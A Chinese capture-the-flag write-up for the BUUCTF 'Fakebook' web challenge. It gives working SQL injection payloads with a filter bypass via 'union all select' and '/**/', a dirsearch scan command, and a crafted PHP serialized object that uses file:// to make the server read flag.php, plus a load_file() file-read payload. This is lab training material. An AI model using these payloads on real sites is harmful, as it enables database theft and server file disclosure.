buu-[网鼎杯 2018]Fakebook
考点1.sql注入
启动靶机得到如下页面:
发现有login和join两个选项
Join就相当于注册,注册完它会自动登录
然后来到如下页面
我们注意到username下的字段是可以点击的,点击后跳转到如下页面
然后我们注意到url后面有个no=1的参数,猜测存在sql注入
加个单引号得到报错
果然存在注入,其次发现它是个数字型的注入,使用2-1,得到1的回显
然后,我们可以开始注入了
首先,使用order by测列数
在测到五列时报错
说明只有四列
然后就可以使用union select 1,2,3,4看注入点
但我们发现被过滤了
然后我们使用union all select 1,2,3,4成功绕过
这里要注意需要把no=1改掉,不然得不到后面的回显,这里把它改成-1
发现在2处存在注入点
然后注意到这里有个unserialize,猜测存在序列化,暂时不知道在哪需要序列化,先放着
在知道2是注入点后,我们开始测数据库名
no=-1 union all select 1,database(),3,4
得到数据库名fakebook
再测表名
no=-1 union all select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()
得到表名users
再测列名
no=-1 union all select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users'
这里需要注意因为数据库里不只这一个库里包含users表,后面大写的是其他数据库里的users表内容
猜测信息在data里,测里面的内容
no=-1 union all select 1,group_concat(data),3,4 from fakebook.users
最后得到序列化后的结果
是我们注册的账号,且被序列化输出
那就要考序列化了。一般不会让我们自己猜,肯定会给源码让我们构造的。我们进行扫描
考点2.目录扫描
我用的是dirsearch,在buu里进行扫描需要设置线程。
命令:
python dirsearch.py -u http://df620cba-d0c8-4572-9070-2f55fb89c8fe.node4.buuoj.cn:81/ -e * --timeout=2 -t 1 -x 400,403,404,500,503,429 #-u 扫描的url #-e 扫描的目录后缀 #-t 设置扫描线程 #-x 排除指定的网站状态码(用逗号隔开)
查看robots.txt
访问得到
下载后得到源码
<?php
class UserInfo { public $name = ""; public $age = 0; public $blog = ""; public function __construct($name, $age, $blog) { $this->name = $name; $this->age = (int)$age; $this->blog = $blog; } function get($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $output = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); if($httpCode == 404) { return 404; } curl_close($ch); return $output; } public function getBlogContents () { return $this->get($this->blog); } public function isValidBlog () { $blog = $this->blog; return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog); } }
考点3.代码审计
进行代码审计,重点在这一块
【*】curl_init : 初始化一个curl会话,供curl_setopt(), curl_exec()和curl_close() 函数使用。
【*】curl_setopt : 请求一个url。
其中CURLOPT_URL表示需要获取的URL地址,后面就是跟上了它的值。
【*】CURLOPT_RETURNTRANSFER 将curl_exec()获取的信息以文件流的形式返回,而不是直接输出。
【*】curl_exec,成功时返回 TRUE, 或者在失败时返回 FALSE。 然而,如果 CURLOPT_RETURNTRANSFER选项被设置,函数执行成功时会返回执行的结果,失败时返回 FALSE 。
【*】CURLINFO_HTTP_CODE :最后一个收到的HTTP代码。
curl_getinfo:以字符串形式返回它的值,因为设置了CURLINFO_HTTP_CODE,所以是返回的状态码。
如果状态码不是404,就返回exec的结果。
再来看看get函数在哪里调用
这里就清楚了,传的参数是blog。
进行序列化,curl可用file协议,所以这里使用file协议读取文件。file:///var/www/html/flag.php
因为源码最后限制了blog的格式,所以我们只能使用序列化把blog注入进去
考点4.序列化
然后我们利用源码构造序列化
<?php class UserInfo { public $name = "2"; public $age = 2; public $blog = "file:///var/www/html/flag.php"; } $a=new UserInfo(); echo serialize($a); ?>
因为列名里面没有blog,所以我们要设置的点就是data那里了,所以在第四列进行注入,需要把序列化的句子包在单引号里
构造payload:
no=-1 union all select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
关于此处为什么可以注入,因为union select会创建一个虚拟存储
例:
查看源码
进行base64解码
非预期解
还有个非预期解
使用load_file()函数,直接得到flag
payload:no=-1 union/**/select 1,load_file('/var/www/html/flag.php'),3,4
直接在源码里得到flag
参考:[网鼎杯 2018]Fakebook_H9_dawn的博客-CSDN博客